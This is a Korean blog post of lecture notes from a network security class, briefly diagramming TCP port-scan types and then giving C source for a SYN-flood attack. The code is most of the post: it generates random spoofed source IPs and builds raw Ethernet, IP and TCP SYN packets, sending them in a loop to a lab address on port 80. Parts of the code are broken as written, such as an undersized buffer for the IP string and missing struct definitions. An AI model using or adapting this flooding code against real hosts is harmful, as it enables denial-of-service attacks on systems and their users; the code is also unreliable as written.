네트워크 보안수업 14일차 - 코리아 정보보안 IT학원

2016. 5. 18. 16:55네트워크 보안 수업/네트워크 취약점 분석

반응형

TCP Scanning: TCP flag를 이용


- 열려있는 포트


* half-open scan


client ---------------> server( 1 ~ 65535 )

    syn


if open

client <--------------- server( 1 ~ 65535 )

  syn, ack


else

client <--------------- server( 1 ~ 65535 )

  rst, ack



- 닫혀있는 포트


FIN Scan


client ---------------> server( 1 ~ 65535 )

   FIN


NULL Scan


client ---------------> server( 1 ~ 65535 )

    NULL


XMAS Scan


client ---------------> server( 1 ~ 65535 )



DDOS ( Syn Flooding )


- 대량의 syn 패킷을 이용한 공격기법



#include <stdio.h>

#include <time.h>

#include <stdlib.h>


int main(int argc, char argv[])

{

int src;


char spoof_ip[8] = {0,};

int a;

int b;

int c;

int d;


srand((unsigned)time(NULL));

while(1) {

a = rand() % 254 + 1;

b = rand() % 254 + 1;

c = rand() % 254 + 1;

d = rand() % 254 + 1;


sprintf(spoof_ip, "%d.%d.%d.%d", a, b, c, d);

printf("spoof ip: %s \n", spoof_ip);


sleep(1);


}

return 0;

}





int main(int argc, char *argv[])


{



        char spoof_ip[8] = {0,};

        int a;

        int b;

        int c;

        int d;


        int sock = 0;


        struct sockaddr_ll sll;




        struct eth_header eth;


        struct ip_header ip;


        struct tcp_header tcp;


        struct pseudo_header pseudo;




        char data[sizeof( eth ) + sizeof( ip ) + sizeof( tcp )] = {0,};




        //create socket


        sock = socket(PF_PACKET, SOCK_RAW, 0);




        //socket struct


        sll.sll_family = PF_PACKET;


        sll.sll_ifindex = if_nametoindex("enp0s3");


        sll.sll_halen = 6;


        srand((unsigned)time(NULL));


        while(1){


        a = rand() % 254 + 1;;

        b = rand() % 254 + 1;;

        c = rand() % 254 + 1;;

        d = rand() % 254 + 1;


        sprintf(spoof_ip, "%d.%d.%d.%d", a,b,c,d);


        //ether header


        //target mac address


        eth.dst[0] = 0x50;


        eth.dst[1] = 0x6a;


        eth.dst[2] = 0x03;


        eth.dst[3] = 0xaf;


        eth.dst[4] = 0x2a;


        eth.dst[5] = 0x98;




        //src mac address


        eth.src[0] = 0x08;


        eth.src[1] = 0x00;


        eth.src[2] = 0x27;


        eth.src[3] = 0x25;


        eth.src[4] = 0x5d;


        eth.src[5] = 0x35;




        //type


        eth.type = htons(0x0800);






        //ip header


        //ver_len


        ip.ver = 0x4;


        ip.hlen  = sizeof( ip ) >> 2;




        //service


        ip.service = 0x00;




        //total


        ip.total   = htons( sizeof( ip ) + sizeof( tcp ));




        //id


        ip.id      = htons( 0x1234 );




        //flag & offset


        ip.flag    = 0x40;


        ip.offset  = 0x00;




        //ttl


        ip.ttl     = 0x80;




        //type


        ip.type    = 0x06;




        //chk


        ip.chk     = 0x0000;




        //src ip

        ip.src     = inet_addr(spoof_ip);


        //dst ip


        ip.dst     = inet_addr("192.168.15.254");


        ip.chk = csum( (unsigned short *)&ip, sizeof( ip ) );



        //tcp header


        //type


        tcp.src_port  = htons(0xd1ef);




        //code


        tcp.dst_port  = htons(0x0050);




        //seq number


        tcp.seq[0]    = 0x83;


        tcp.seq[1]    = 0xe6;


        tcp.seq[2]    = 0x05;


        tcp.seq[3]    = 0xf2;




        //ack number


        tcp.ack[0]    = 0x00;


        tcp.ack[1]    = 0x00;


        tcp.ack[2]    = 0x00;


        tcp.ack[3]    = 0x00;




        //header length


        tcp.length    = sizeof(tcp)>>2;




        tcp.reserve   = 0x00;




        //flag


        tcp.flag      = 0x02;




        //window


        tcp.window    = htons(0xffff);




        //chksum


        tcp.chksum    = 0x0000;




        //dummy


        tcp.dummy     = 0x0000;




        pseudo.src = ip.src;


        pseudo.dst = ip.dst;


        pseudo.zero = 0;


        pseudo.protocol = 0x06;


        pseudo.length = htons(sizeof(tcp));


        memcpy( &pseudo.tcp, &tcp, sizeof(tcp));




        tcp.chksum = csum((unsigned short *)&pseudo, sizeof(pseudo));



        memcpy( data, &eth, sizeof( eth ) );


        memcpy( data + sizeof( eth ), &ip, sizeof( ip ) );


        memcpy( data + sizeof( eth ) + sizeof( ip ), &tcp, sizeof( tcp ) );




        int i = 0;


        unsigned char *ptr = data;




        for( i = 0; i < sizeof( data ); i++){


                if( i != 0 && i % 16 ==0 ){ printf("\n"); }


                printf("%02x ", *(ptr+i));


        }


        printf("\n");


        printf("soopf ip: %s \n", spoof_ip);



        //send




                sendto(sock, data, sizeof(data), 0, (struct sockaddr *)&sll, sizeof(sll));

        sleep (1);

        }



        return 0;


}



반응형